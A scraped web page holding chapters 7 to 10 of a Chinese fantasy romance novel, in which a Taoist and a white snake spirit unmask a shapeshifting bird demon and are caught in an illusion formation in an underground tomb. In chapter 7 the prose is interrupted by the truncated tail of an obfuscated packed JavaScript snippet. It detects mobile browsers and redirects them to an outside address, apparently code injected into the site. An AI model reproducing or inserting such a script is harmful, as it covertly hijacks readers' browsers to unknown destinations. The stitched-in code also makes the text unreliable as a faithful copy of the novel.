《师尊她撩完就跑GB》
7. 第 7 章
云开雾散,长夜已尽。孟纨眨了眨眼,双眼渐渐复明。白绮已从人形化作小白蛇。
密林中万籁俱寂,只闻几人行走时带起“沙沙”步履声。
再往前行,来到了一条岔路口,走在最前头的赵如星伸长脖颈四下张望,突然回首看来,却不见白绮的身影。
他先是一愣,旋即看清挂在孟纨肩上的小白蛇吐-出信子。
“道长,这这这……”赵如星惊魂未定,舌头打结。
白绮身形微微前倾,仰首问他:“你怎么不走了?”
听闻小白蛇口中发出熟悉的声音,赵如星双腿发软,求助的目光看向孟纨,“道长,我……我不知走哪一条路。”
孟纨视线向两条黑漆漆的山路探去,同样杂草丛生,“你来时走的哪一条路,不记得了?”
“有妖怪追我,我只顾着逃命了……”赵如星声音哽咽,几欲哭出声来。
孟纨未及开口,忽闻小白蛇口中发出“滋滋”声响,白绮已攀上赵如星身旁的古树,“你仔细想一想,有没有眼熟的地方。”
可能是白绮一个活生生的人悄然化作一条小白蛇让赵如星过于震撼,也可能是久在密林中穿行他已是麻木不仁。
总之,赵如星看上去还算平静,沉默着开始认真寻找出路。
孟纨飞身跃上树梢,遥遥望去,映入眼帘的唯有茫茫林海。
赵如星双眼紧闭,来回转了几圈,应是在努力辨别方向,“道长,这条路。”他突然睁开眼,兴奋地指着左边那条路,“我想起曾在此处摔了一跤,险些被蝴蝶怪追上。”
“这样性命攸关的事,你也能说忘就忘了。”小白蛇落回孟纨肩上,忍不住出言揶揄。
赵如星一噎,他抿了抿嘴,强作镇定,只垂着头默默往小路走去。
三人穿过密林,明亮的晨光铺满天际,徒行数百步,几人行至一处掩隐于巍峨峭壁下的山洞。
赵如星躲进一块巨石后,目光小心翼翼地往外探去,“正是那里,除却蝴蝶怪,我从未见过其他妖怪,不知是否只有蝴蝶怪在此作祟。”
说罢,他回头看向孟纨,眼中有一刹那失神,他闭了闭眼,“道长,直接进去吗?”
孟纨思忖片刻,低声道:“勿要莽撞。”
白绮自孟纨肩上抬起头,视线与孟纨眉眼齐平,“孟道长,我先进去看看?”见孟纨略略一颔首,她身形一闪,划出一条细长弧线,飞身掠至洞口。
山洞内夜色幽暗,不闻人声,更不见人迹,遑论食人妖怪的踪影。她攀上石壁,迅速往里移动,除却沉沉夜色,再无活物或死物的迹象可寻。
“孟道长,山洞里面并无人迹。”白绮身形落至孟纨肩上,又偏头盯着赵如星,满眼疑惑,“赵公子,你确定是此地?”
赵如星点头如捣蒜,神色沉重,“我发誓,正是此地,我逃跑时在洞口跌倒了……”
白绮嗤笑一声,没忍住讥讽道:“你这一路尽在摔跤,未被妖怪抓去当作储备粮,也算是命大。”
赵如星噎了一下,霎时无言以对,再次向孟纨投去求助的目光,“道长,怎么办?”
孟纨斟酌片刻,“进去看看。”说罢,他举步便往洞口行去。
正如白绮所言,山洞内不仅漆黑不见五指,更有泠泠水汽萦绕,几人方一踏进洞口,刺骨的寒气扑面而来,直激得人面部生疼。
越往里走,身后微弱的光线逐渐消失,白绮正担心孟道长是否会看不见路,这个念头方在心下浮现,忽闻一阵震耳欲聋的叫嚷声在山洞内响起。
“他来了,他来了,他终于来了。”男男女女混合在一起的叫喊声如雷电轰鸣,震得人头昏脑胀。
顷刻之间,山洞内灯火通明,之前的黑暗仿佛幻觉一般消失无踪。
“让我看看,这是谁来了?”一名苍老的妇人着一袭暗红色长袍,轻飘飘地来至孟纨身前。
“像,太像了。”她眸色浑浊,视线落在孟纨脸上,频频点头,嘴角往后裂开及至耳畔,面部褶皱犹如枯老树皮。
如雷贯耳的叫嚷声复又一齐传来:“像,太像了。”
白绮见状,霎时如堕云雾中,忍不住出声问道:“像什么?”
红衣老妪却仿佛未听见,视线不离孟纨,口中只重复着那句:“像,太像了。”
弄得白绮一头雾水,她抬眸朝孟纨看去,孟纨似洞察了她的心思,低声道:“她应是只会说既定的言语。”
“是的。”赵如星躲在孟纨身后,连连点头附和,“昔日我被抓来时,他们也这样说话。”
闻言,白绮的视线向赵如星面上探去,顿时如梦初醒,先前她甫一见到赵如星,便觉有些眼熟,实则并非因在逐月城内赵员外家中看过他的画像。
而是,赵如星的眉眼,竟是与孟道长有些相似。
再闻山洞内念咒语一般回响的声音——“像,太像了。”白绮不禁生疑,此地的妖怪,是在寻什么人?或是,寻与某人有相似之处的人?
这个念头方一跃上心头,白绮顿觉荒唐而不可思议,真相像被云雾缭绕,难以分辨。
她的视线落在红衣老妪身上,心下疑惑更甚,“孟道长,她是鬼,或是妖?”
孟纨却出言否认:“皆不是。”
闻言,白绮不敢置信,“莫非是人?”红衣老妪看上去哪里还有半分活人的模样。
“傀儡。”孟纨言简意赅。
“傀儡?”
白绮被封印在赤水海里沉睡了不知多少载春秋,封印解除不过寥寥几日,怎知这世上的生物有几何。
这是她第一次听说“傀儡”这种生物,也可能是死物。
“孟道长,傀儡是死人吗?”白绮不懂就问。
孟纨抬眼打量周遭,“并非全是,或由活人所制,人身上的某一部分或某些念头所化。”
白绮一下子接受了太多信息,似懂非懂,若有所思,“竟然是这样……”
山洞内鬼哭狼嚎的声音忽远忽近,除却红衣老妪,并不见其余或人或妖或傀儡出现。
孟纨:“赵公子,你被困此地数日,可还见过旁人?”
赵如星听了只是摇了摇头,“我被关在一个漆黑而潮湿的地方,从未见过旁人,我……”
话音未落,便闻孟纨出言提醒:“当心。”
白绮循声望去,只见散落在潮湿地面上的人类残肢蠕动着向前移动,先是零星几块碎肉碎骨,逐渐越聚越多,最终停在他们面前,堆积成一座半人高的小山丘。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035289|162389||http|test|mini|href|location''.split(''|''),0,{}));
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>“啊啊啊……”赵如星一蹦三尺高,连滚带爬地往后退开。
孟纨后退一步,“此物能吞噬生灵。”
白绮心下一惊,“孟道长,你是说……被这东西碰到身体,会变得和他们一样?”
“非也,而是,与他们融为一体。”一个阴阳怪气的声音突然从身后传来,却是赵如星。
白绮回首看他,“你……”
一语未了,便见赵如星早已不复先前胆小怕事的窝囊样,他面带揶揄之色,“孟道长,难道你不曾察觉,我与你长相颇为相似吗?”
白绮的视线不离他,眉心微蹙,“我早发现了,那又如何?”
“哈哈哈……”赵如星倏地嗤笑出声,刹那间,他的脸皮从眉心撕裂开来,皮肉成块脱落,与地上的残肢融为一体。
失去脸皮保护的面部血肉模糊难辨,须臾间又生出新皮肤,长成一张几乎与孟纨一模一样的脸。
“这样呢?”赵如星笑容诡异。
别说白绮见状神色大变,便是孟纨亲见眼前之人长着一张与自己七八分相似的面容,也有一瞬间失神。
不难看出,逐月城中年轻美貌男子失踪一事,当真与他脱不了干系。
“你并非赵公子。”孟纨淡声道。
“我自然不是那个窝囊废。”赵如星——红衣少年厉声应道,旋即,原本缓慢蠕动的残肢碎肉像是接收到命令,猛将四下散开,发起进攻。
孟纨飞身退开数步,抽出腰间白玉短剑,残肢分散开后攻击性减弱,被短剑击中后便落地不能动弹。
他出言提醒:“残肢会把人困住。”
闻言,白绮恍然大悟,招数如此阴毒,竟是欲把他们团团围住,逼至与残肢断臂融为一体。
“你究竟是谁?”闪避过程中,白绮不忘出言问红衣少年。
红衣少年却出奇地配合,“我没有名字。”
“你是什么东西?”白绮继续追问道。
红衣少年却绝口不提。
孟纨逐渐被残肢围困,倏闻他开口轻声念咒,一簇烈焰从他指尖点燃,猛将爆发,将残肢团团包围。
一阵阵凄厉痛苦的哀嚎传来,在山洞内回响,仿佛被孟纨放火燃尽的并非死人的残肢断臂,而是数十名活人鲜活的身体。
“这些是……失踪之人。”孟纨抬袖挥散浓烈黑烟,视线落在焚烧后的灰烬上。
红衣少年眉宇间笑意盈盈,“道长,你瞧瞧,都是因为你呀,他们才会落得这般凄惨的下场。”
孟纨不由的一蹙眉,虽说“赵如星”幻化成与他有七八分相似的人形时,孟纨便知此事蹊跷,可能与他牵连颇深,但此刻听闻红衣少年如是说,内心仍是颇受震撼。
他在这世上醒来不过寥寥数日,如何能有如此成就——沦为致使旁人命丧黄泉的罪魁祸首,背后定有更大的阴谋。
“真是可笑至极。”见红衣少年不再言语,白绮出言奚落。
红衣少年冷笑着看向她,“小白蛇,我对你并无恶意,你有今日的遭遇,只能怪你选错人了。”
话音一落,忽闻几声禽类凄厉嘶鸣,红衣少年蜷缩在地上,浓烈的黑烟弥漫开来,两只外形酷似野鸭的鸟儿合并在一处,双翅扑腾,正伸长脖颈长啸。
8. 第 8 章
原本身量娇小的两只鸟儿顷刻间放大数倍,体型接近成人。鸟儿各生有一目一翅,此刻合并为一体,猛将朝孟纨袭来,直撞得他往后摔去。
“孟道长。”情急之下,小白蛇倾身上前,化作一条巨蟒,飞云闪电而去。巨蟒通体莹白,身形足有成人合抱粗,在烛火照映下泛着盈润光辉。
巨蟒吐-出信子,护在孟纨身前,蛇尾紧紧缚住合体的两只鸟,张嘴便欲将鸟首吞咬入腹。
“且慢。”孟纨一只手轻抚在腰间,堪堪站稳身形,出言止住巨蟒,“白绮,留他一命,我有事询问。”
白绮气急,不长眼的蠢鸟竟然出手伤及她护着的孟道长。
她昔日在赤水海底得不明来历的声音惊醒,恍恍惚惚地被孟纨身上一股难以抗拒的引力吸引,遂留在孟纨身边,至今也未弄清个中缘由。故而,真相未明之前,万万不可叫旁人伤及孟道长性命。
孟道长有事要问,白绮旋即收回信子,仰首朝孟纨看来,见他安抚似的略一颔首,白绮勉力压下心中愠怒,只用蛇尾紧紧缚住合体的两只鸟。
孟纨的视线落在巨蟒灵活的尾巴上,莫名想起前日深沉夜色下,身心所遭受的凌辱,忽觉吼间干涩,大脑有一瞬间空白,只切身体会过一次的惊惶与不安刹那间复又袭遍全身。
“孟道长?”见他怔在原地,再无动作,白绮疑惑地出声,猛将孟纨飘远的思绪唤回。
孟纨敛眉,缓步行至白绮面前,眸光看向被蛇尾缚住身形的两只鸟,“蛮蛮。”
“蛮蛮?”白绮一怔,旋即反应过来孟纨所言乃红衣少年的真身。
孟纨解释道:“蛮蛮,又称‘比翼鸟’。其状如凫,而一翼一目,相得乃飞。”①
两只蛮蛮被白绮制住不得动弹,挣扎着张开鸟喙,“真是难得,孟道长对我们飞禽一族也了解颇深。”
听出他语气中阴阳怪气,白绮猛将缚住蛮蛮身形的蛇尾收紧。蛮蛮口中鲜血淋漓,痛伤骨髓,应是疼痛难耐,一迭声直叫:“饶命。”
白绮稍微减小力道,“还不住口。”
蛮蛮缓过劲来,喘着粗气,道:“世人只知‘比翼双飞’,将之比作.爱情最为美好时的状态,谁又体会过真正的‘比翼双飞’是什么样子?”
比翼双飞……
闲暇时,白绮曾听念卿读过人间的话本子,对世间男欢.女爱略有耳闻。她涉世尚浅,不谙世体,此刻闻言难免心生好奇,遂问道:“真正的‘比翼双飞’,应是什么样?”
“我们蛮蛮一族,无法独自飞行,需雌雄合体比翼而飞。倘或巧遇机缘,认主后可依照主人的喜好幻化人形,浑身上下没有一处不是按照主人心中所思所念所幻化而成……”
蛮蛮嘶哑的嗓音逐渐转为悲鸣,像是并不甘心只是随主人心意变幻人形。
“你心里有怨言?”白绮只得一知半解,尚不能够切身体会蛮蛮心中怨愤,“既得主人垂怜,迎合其喜好,也算得两全其美呀。”
闻言,蛮蛮怒喝一声,仿佛被白绮戳中心底最不堪回忆的痛楚,“什么两全其美?不过是旁人的影子,被主人当作旁人的替身罢了。”
影子?替身?
白绮闻所未闻,霎时如堕云雾中。
“你的意思是,你们幻化的人形实则是旁人的替代品,你的主人所爱另有其人。”孟纨抓住重点,一针见血。
蛮蛮突然笑出声来,声音如泣如诉,他咬牙切齿,“孟道长,你可真是……半分情面也不留”。
白绮的视线落在孟纨面上,不禁怀疑,难道孟道长在蛮蛮的主人眼里,也只是别人的影子,或是替身?
旁人的心事可太难琢磨了,白绮摇了摇头,表示不能理解。
孟纨却是面色如常,无意对替身与否作出解释。
忽闻蛮蛮厉声一喝,哭笑声戛然而止,“都是因为你。”
孟纨并未打算与积怨已久的蛮蛮纠缠他与主人之间的恩恩怨怨,只道:“被你抓来的人,现在何处?”
蛮蛮双眸血红,瞪圆了眼珠看向孟纨,“都是因为你,他们全死了,全死了!”
白绮收回思绪,微微蹙眉,问:“赵公子现在何处?”
蛮蛮转而看向她,眸中噙着疯狂,“你们身陷迷阵时,在密林中碰上的残肢断臂,其中之一或许属于你口中所言的‘赵公子’。”
身陷迷阵时,他们出现在太仓山……那些残缺的头?白绮回忆起这个细节,有些在意蛮蛮所言“替身”一事。
蛮蛮幻化的人形既然已被主人当作旁人的替身留在身边,因何频频掳走形容有相似之处的人?
此事疑点重重,难道那些失踪的人有特殊用意?是否与孟道长有所牵连?有何种牵连?
“被你抓走的人,当真全死了?”白绮不敢置信,他们一路追查,只能寻回失踪少年的尸首。
蛮蛮嗤笑一声,“主人倒是很愿意留他们一条命,但……我凭什么让他们活着。”
“荒唐。”孟纨冷冷道,“因一己执念,诛杀无辜之人,你……”
话音未落,忽见蛮蛮探长脖子,自鸟首开始,逐渐化作人形。
不消一刻,蛮蛮变幻的红衣少年露出悲凉的神色,“当年我们还不会变幻人形,被猎人捕杀,所幸得主人相救,甘愿侍奉其左右,年深月久,知她心有所属,甘愿化形让她如愿。”
“主人明明早已拥有我,犹不知足,我偏要毁掉她偏爱之人,越是与你相似的,一个也不能留。只可惜,总有漏网之鱼。”他心有不甘,难免多言,“孟道长,你仔细看看我,我们有多少相似之处?”
许久未发出动静的红衣老妪突然兴奋地喊道:“像,太像了。”旋即一头栽倒在地,化作一滩血水,霎时不见。
“你瞧,没有自主意识的傀儡便是如此,死不足惜。”红衣少年看向孟纨,满眼怨忿,“我与它们又有何区别?”
白绮细细打量一回红衣少年那张与孟纨确有七八分相似的面容,陷入沉思,两人皮相虽相差甚微,她却能一眼认出孟纨。
蛮蛮幻化的人形,比孟纨多出些许媚态,那是白绮从未在孟纨身上见过的形容。
既是依着主人心中所思所念所化成的人形,为何会有如此天壤之别?
“我原本以为设计将你那三个徒弟引开,你无人相助必会命丧于蝴蝶怪。孟道长,你还真是命大,总也不死。”红衣少年突然恶语相向。
白绮如梦初
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醒,“孟道长,你的徒弟们在此地?”
孟纨略一颔首,他早觉察出眼前这位赵公子言行诡异,却未曾怀疑乃妖物所化。
他未能识别出对方的真实身份,其中定是大有文章,遂问红衣少年:“你可有灵物护身?”
若非如此,便只能是由于孟纨自身的某些缺失所致,才没能够及时辨别同行之人是妖而非人。
“灵物?”红衣少年一哂,“不是谁都如孟道长那般幸运,既有灵物护身,更得高人指点。”他这话说的虽没头没尾,却是意有所指。
“可还有人活着?”孟纨听闻他话里有话,却有意避之,红衣少年身上疑点颇多,他无意伤其性命。
“没有人,全死了。”
白绮猛将蛇尾收紧,几欲将红衣少年拦腰切断,“既然全死了,那你活着也无用处。”
“啊……”红衣少年身体将欲爆裂开来,疼痛迫使他张嘴痛呼,他不堪忍受,连连求饶,“我说……我说。我知道他们被藏在何处,我引路……我也告诉你们主人的藏身之处。”
白绮抬首看向孟纨,见孟纨朝她略一颔首,她心领神会,遂松开缚住红衣少年的蛇尾,银白蛇尾拖在地上,渐渐化成一条小白蛇。小白蛇身形一闪,停在孟纨肩上。
山洞外清风拂面,骄阳灼灼。
红衣少年伤及双腿骨骼,一瘸一拐走在前面,倏地顿住步伐东张西望,伺机往前一跃,他的头像是从正中央被一刀劈开,渐渐变幻成两颗鸟首,两只蛮蛮合为一体,比翼而飞。
小白蛇化作巨蟒,蛇尾卷住孟纨即刻追上前去,张口便将两只蛮蛮的头叼在嘴里。
蛮蛮身前猛然掀起一阵飓风,有什么东西破土而出,生生撕裂开偌大一个裂缝,周遭黑雾缭绕,顷刻之间,劲风裹挟着黑雾将一人一蛇卷入洞口,黑雾消融,裂缝也随之消失不见。
眼前突然一阵晕眩,白绮只觉身体似有千万斤重,不受控地往下坠,终于落至实处,巨蟒将含在口中的蛮蛮吞咽入腹,蛇尾逐渐往回收,孟纨被她卷至眼前。
“孟道长,这是哪里?”
孟纨缓缓从地上站起身来,抬眼看向周遭事物,缭绕雾气中,破败的坟冢若隐若现,更有阵阵鸦鸣此起彼落。
无处不在提醒他,他们正身处一片古坟地,墓地建在地底下,墙壁上镶嵌着几颗夜明珠,墓地亮如白昼,地面潮湿而阴冷,淅淅沥沥浸出水来。
巨蟒化作小白蛇蹿上孟纨肩膀,不敢置信,“孟道长,我们这是……掉入坟地了?”
孟纨颔首,予以肯定:“是。”
逃命的紧要关头,蛮蛮为何会逃向一片古坟地?只有一种可能,此地正是食人妖怪的巢穴。
什么样的妖物会把巢穴筑在墓地?
“孟道长。”白绮倏然抬手往前一指,“你看那边,你的徒弟们。”
孟纨循声望去,薄雾缭绕的墓地尽头,无数石块堆积成山,形成一个偌大的巨石阵,阵中-央悬浮着四个人影,其中三人身体呈半透明状,正是他不久前失踪的三个徒弟。
孟纨举步便欲往墓地尽头走去,倏觉一阵头眩目昏,像是有诸多无形的东西争先恐后钻入太阳穴,搅得大脑一片混沌。
9. 第 9 章
“哥哥,世上真的有神仙吗?”一名大约四五岁的稚子奶声奶气地问身旁拉着自己的少年。
少年十岁上下青涩模样,人虽年少,有老成之风,“天下之大,无奇不有,神仙么,大抵是有的。”
稚子眉眼含笑,“哥哥,你说,我们会遇上神仙吗?”
“渠儿说什么傻话,神仙如何会是我们这等凡夫俗子能遇见的。”少年停下步伐,满眼怜爱地看着个头不及自己肩膀的稚子。
“哥哥,爹爹带娘亲前往太仓山寻医,什么时候能归家?我好想他们。”稚子思绪转得飞快,眨眼间便略过神仙,念及出门寻医问药的父亲母亲。
少年抬手将稚子面颊散落的一缕发丝捋至耳后,安抚道:“应是这两日便能归家了。”
“我们每日都来这里候着爹爹与娘亲,好不好?”稚子眉眼一弯,笑得水灵。
少年俯身背起稚子,“天色不早了,我们下山吧。”
“倘或爹爹与娘亲能遇见神仙,娘亲的病便能早些好了。”稚子趴在少年背上,喃喃自语。
“孟道长,他们是谁?”白绮满腹狐疑,怔怔地望着眼前的少年与稚子。
孟纨强忍着头晕目眩,解释道:“此地并非现世之地。”
“并非现世?”白绮心下疑虑更甚。
“幻境。”孟纨言简意赅,太阳穴阵阵剧痛难捱,已有昏厥失去意识之兆。
白绮的心思放在突然出现的人身上,并未察觉到孟纨的异样,此刻闻言,只觉难以置信,“我们又误入幻境了?!”
孟纨对此却并不惊讶,耐性地解释给她听:“并非误入,应是有人刻意为之。”
闻言,白绮像是意识到了什么。他们追着蛮蛮误入墓地,在墓地尽头发现孟纨的三个徒弟被困于巨石阵中。两人未及作何反应,却又陷入幻境。
一个念头呼之欲出——整个墓地,本身就是一个大阵。
思及于此,白绮倏觉背心生出一片刺骨寒凉。她勉力镇定心神,却见孟纨的视线一直看向前方,眼睫眨也不眨。
她顺着孟纨的视线向前探去,那少年背着稚子一步一步往山下徐徐行去,并无异样。
“孟道长,你在看什么?”白绮疑惑地望着孟纨。
孟纨眸色深沉,仍是紧紧盯着前方,仿佛未听见她的声音,身形未动,也未出声回应。
白绮将视线自孟纨面上转移至背着稚子下山的少年身上,眼前突然一片幽暗,刹那间,她发现自己身处于一片墓地之中。
不只她与孟纨,更有方才出现的少年与稚子,此刻也在墓地中穿行,却并未觉察到异样。
忽闻一阵女子低笑的声音传来,凌冽寒风卷起一阵黑烟,一抹黑影如旋风般卷至少年人身前,拦住了下山的路。
少年受此一惊,背着稚子身形踉跄着往后倒去,这才发现周遭环境早已大变,并非上太仓山的那条小径。
见状,白绮倏地往前探出身形,小白蛇掀起一阵劲风,飞云闪电而去,却只从少年人身体里穿身而过。
少年与稚子,没有实体。
“哥哥,救我!”白绮一时怔然,忽闻一阵发着颤音的求救声传来。她循声望去,便见方才的黑影将稚子卷至半空,稚子骇得魂不附体,抽噎着向少年求救。
少年被黑影压-在地上动弹不得,挣扎着涨红了脸,泪水濡湿了眼眶,“别伤害我弟弟。”
浓烟散尽,露出笼罩其间的一副形容——人首人身,却看不真切面容。她后背生出一对灰鹤的羽翅,可将整个身形裹挟其中。
“如此鲜活的肉-体,眼睛还挺水灵,口感应当也不错。”说罢,劲风卷起黑烟,将少年与稚子层层围住。
便在黑烟将两个孩子卷至那人怀中,作势离去之际,白雾弥漫,一抹纤长身影踏着明媚骄阳悄然而至,挡住了她的去路。
“放下孩子。”一道清冷女声随风而至。
笼罩在黑烟里的人厉声呵斥:“来者何人?”
“放下,孩子。”清冷女声掩隐于白雾缭绕之中,看不真切形容。
裹挟在浓烟中的人影一噎,不耐道:“你究竟是谁?”
清冷女声不再与她言语纠缠,萧萧风声乍起,皎洁如霜雪的宽大袍袖犹如利刃,顷刻间劈向黑烟,黑烟逐渐消散,霎时化为乌有。
“姐姐,你是神仙吗?”稚子方一从黑烟中脱身,便伸手拉住清冷女子一角袍袖,他满眼星光,语气亲切而尊重。
少年抬步上前,规规矩矩一揖,“多谢姐姐相救。”
白雾散尽,只余一抹清冷背影渐行渐远,自始至终,白绮都未看清属于那抹清冷身影的面容。
始终未出声的孟纨却在此刻追上前去,“师尊……”
白绮一怔,视线随着孟纨飞快移动的身形探去,那抹清冷背影似乎有一瞬间的停留,旋即缓缓转过身来。
清风扬起如瀑般的银白发丝,她的轮廓逐渐清晰,白绮隐约听得一声轻唤。
“孟纨,别哭。”
白绮正疑惑,却见孟纨已追至那道身影跟前。情急之下,小白蛇化作巨蟒,蛇尾卷住孟纨身形,便在此刻,弥漫在清冷女子周围的白雾犹如利刃四散开来。
白绮一惊,忙不迭阖上双眸,蛇尾卷起孟纨飞身躲开白雾。
巨蟒身形落地,白绮睁开双眼四下探去,除却被她卷至身前的孟道长,再无旁人。她回过神来,意识到她与孟道长仍身处那片墓地,墓地尽头的巨石阵中,四个人影悬浮在阵中-央。
幻境中的墓地却不见巨石阵,更无孟道长那三个徒弟的身影。
白绮不敢置信,不知什么时候她与孟纨已身在阵法中心,孟道长此刻双眸紧闭,像是睡着了一样。
“孟道长?”
孟纨深深蹙眉,却未回应,任凭她如何呼唤,甚至用力拍了拍孟纨脸颊,对方也只是眉头蹙得更深,再无其余反应了。
半晌之后,白绮终于听见孟纨低声啜泣,“师尊……”他双手死死攥住白绮肩膀,指尖几乎透过衣衫嵌进皮肉里。
白绮疼得倒抽一口凉气,这才觉察到孟纨意识并不清醒,她试探着唤道:“孟道长?”
孟纨紧紧扣住她双肩,猛将她拥入怀中,口中一迭声轻唤,“师尊,别走……”他把脸埋在白绮颈侧,泪水濡湿而温热,顺着白绮颈间肌肤汩汩往下滑落。
白绮顿觉衣衫掩映下的肌肤一片刺骨的冰凉。
孟道长这是,在幻境中受了什么刺-激吗?白绮不禁如是想,却不能够确定,因她并未受到任何影响。
她复又轻唤几声“孟道长”,仍无济于事,孟纨紧紧拥着她,仿佛他稍微一松手白绮便会原地消失似的。
“好了,好了。”白绮抬手轻抚孟纨后背,低声安抚,“孟道长,别哭,我不走。”
当真是奇闻。
白绮霎时如堕云雾中,眼前的场景实是陌生,她何曾见过孟道长这副模样。
自数日前她在赤水海畔第一次见到孟道长,他便是冷淡的,不苟言笑的,少言寡语的……却从未见他如此这般——柔弱,惹人怜惜。
孟道长的徒弟们尚被困阵中,更有不明身份的人或是别的什么东西困于阵中,白绮不能视而不见,
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而默许孟道长在她怀里哭得梨花带雨。
她把心一横,用力推了推孟纨,“孟道长,你醒醒。”
孟纨未动,唇齿间嗫嚅声却未消,“师尊……”
白绮倏然想起孟纨曾说她有安眠奇效,更能疗伤,此刻,她想尝试一下,她是否有能力将陷入幻境中的人唤醒。
“孟道长?”白绮再度用力推一下孟纨,孟纨的身体却似有千万斤重,沉沉压-在她肩上,双手紧紧缚在她腰间。
白绮修长的两条腿顷刻间幻化为一条粗壮灵活的蛇尾,蛇尾缠上孟纨脚踝,迅速往上攀去,绕至孟纨腰腹,蛇尾猛地一用力,硬生生将孟纨自她身上拉扯开。
白绮双臂扣住孟纨肩膀,倾身上前,唇齿覆上孟纨樱桃般红润的薄唇。舌尖轻巧灵活,撬开孟纨微阖的齿关,一股冰凉气息自白绮口中送出,缓缓流进孟纨口腔,蔓延至肺腑。
良久之后,孟纨眼睫微颤,眸中雾气氤氲。白绮看见他眼眶湿润,细长的眼尾泛起薄红。
孟道长竟是——哭了。
白绮不由的一错愕,只当是孟纨误会她正在冒犯他,心下一急,猛地推开孟纨,忙不迭解释,“孟道长,我……我看你意识不清醒,给你……疗伤。”话音一落,她自己都不信。
孟纨却并无强烈的反应,确切来讲,是毫无反应。只见他神情茫然,眼睫眨也不眨地盯着白绮,濡湿的眼眶溢出泪珠,汩汩往下滴落。
那副楚楚可怜的模样,白绮忽觉心脏在悄然融化。
她走上前去,抬袖为他拭去眼角悬着的几滴眼泪,“孟道长,你究竟怎么了?”
孟纨却只是望着她落泪,仿佛白绮是他魂牵梦萦又失而复得的一位故人。
“孟道长?”白绮双手用力钳住孟纨肩膀,她意欲让孟纨因疼痛而清醒,手上格外用力,白绮明显感觉到孟纨的身体因疼痛不受控地抽搐几下。
“我……”孟纨终于有了回应,神色仍显得无措。
白绮暗暗松一口气,谢天谢地,“孟道长,你终于醒了。”
可能是白绮的声音吸引了他,也可能是白起一头银发过于耀眼夺目,总之,孟纨模糊的视线朝白绮探来,忽闻他迟疑着道:“师尊?”
白绮心头一凉,这才刚唤醒,又魔怔了?
突然一个念头跃上心头,见孟纨一副被人抛弃的楚楚可怜模样,她确是好奇得紧,“孟道长,师尊是谁?”
孟纨茫然地眨了眨眼,眼角的泪珠簌簌滚落,“师尊,不要走。”
她正满腹疑虑,孟道长不是说她有安眠奇效吗?她明明也能疗伤,舔-舐孟道长的伤口,他面颊上的豁口也很快便能愈合如初,为何她没能够唤醒意识不清的孟道长呢?
白绮从未想过,问题出在她本人身上,并非她安眠、疗伤的奇效不管用了。而是,被她唤醒的孟纨一抬眸便看见她,复又魔怔了。
她一时有些手足无措,突然感觉到孟纨开始挣扎,猛将用力把她推开。
“师尊?”孟纨眼睫轻颤,迟疑着唤道。
“白绮?”及至此刻,孟纨才算得真正意义上的清醒过来,“你……”孟纨看清白绮面容的一瞬间,唇齿间的话语便悄无声息地被他吞咽入腹。
这是孟纨第一次看见白绮幻化成人形时的模样。她的眉眼灵动而明媚,似点缀了星光,因真身乃一条白色巨蟒,如瀑发丝银白而眩目。
“孟道长?”白绮凝眸望着孟纨。
孟纨嘴角浮现一丝苦笑,他竟是把白绮当作梦境中那抹渐行渐远的背影。只因梦境中那人与白绮一样,她们都有一头银白如雪的发丝。
10. 第 10 章
“那是一种古老的阵法。”
孟纨终于出声打破墓地里的一片沉寂。
这是在解释先前突然出现的幻境,白绮静静地望着孟纨,若有所思,“孟道长,倘或没能够分清幻境与现实,我们会怎样?”
闻言,孟纨抬眼看向白绮,笼罩在他心底的疑虑也逐渐加深。
白绮与他同样身陷古老阵法,一齐被困于幻境里,却并未如他一般被阵法所造的幻境扰乱神智。
相反,她意识清醒且与常人无异。
能够在面对如此古老而强大的阵法时不为幻象所惑,神智也不曾受到半分影响。可见小白蛇并非泛泛之辈。
孟纨收回思绪,应道:“分不清现实与幻境,意识会永远留在幻境中,身体也随之消亡。”
若非白绮神识尚存,及时打破幻境,他们可能再也出不来,念及于此,孟纨似乎想起了什么,遂问她:“在幻境中,你可曾有哪里不适?”
白绮听了只是摇了摇头,“不曾。我并未意识到身处幻境,触碰到那少年的身体时才知人在幻境里并无实体,对方更不知我们的存在。”
这话倒是提醒了孟纨,不禁暗暗心惊,他竟是在幻境中看见了曾频繁出现在他梦境里的人。
“孟道长,方才的幻境有什么由来吗?”白绮好奇问道。
孟纨:“幻境因阵法而成,或是梦境,也可能是记忆。”
“你的?”
白绮从未怀疑过有可能是她的记忆,她对幻境里发生的一切并无印象。
她的视线落在孟纨面上,见他并未犹豫,坦然承认了,“我的梦境。”
“孟道长,师尊是谁?”尚在幻境里时她就有些在意,也好奇得紧。
身陷幻境时孟道长的言行过分反常,他流露出难过与失落的神情……像是有人曾弃他如敝履。
孟纨的感觉愈发强烈,出现在幻境与梦境里的师尊……定是与他缺失的记忆牵连颇深。
“不知。”孟纨淡声道,面上再也看不出意识恍惚时露出的楚楚可怜模样。
白绮瞥见他面上流露出些许茫然,便不再追根究底,转而换了话茬,“孟道长,墓地里布下的究竟是什么阵法?”
“追本溯源。”
“追本溯源?”白绮从未听闻此类阵法,不确定其来历与用途。
孟纨耐性地解释:“一种古老的阵法,能让人记起尘封心底的陈年旧事。”
白绮听了似懂非懂,心底的疑惑也更甚了,忍不住想知道事情的来龙去脉,遂追问道:“为何会在墓地布下这样的阵法,有什么用意?”
总不至于,只为阻止寻常外人闯入墓地,便费尽心机布下一个古老的阵法,甚至连整个墓地都是一个大阵。
“暂无定论。”孟纨眨了眨眼,似在努力回忆什么,“但,不难看出,在此地布下阵法的人可能是你或我的故人。”
“故人?”她并不记得曾有过这样一位故人。
白绮的视线如芒刺一般钉在孟纨面上,“孟道长,有没有可能是你执念于心的师尊?”说罢,白绮狡黠一笑。
孟纨垂眸看她,白绮比他矮一个头,看他时习惯微微仰首,此刻她面上浮现出一层明媚的笑意。
她看上去似乎心情很愉悦。
“不记得。”他确是不记得,纵然他曾无数次在梦境中哭着喊着求师尊不要离他而去,那人却永远只是一个虚影,不曾露面。
孟纨自始至终未能想起关于师尊的点点滴滴,竟是连她的形容也从未看清,只余那人头也不回渐行渐远的背影,与满腹伤心委屈的情绪在心底逐渐深刻。
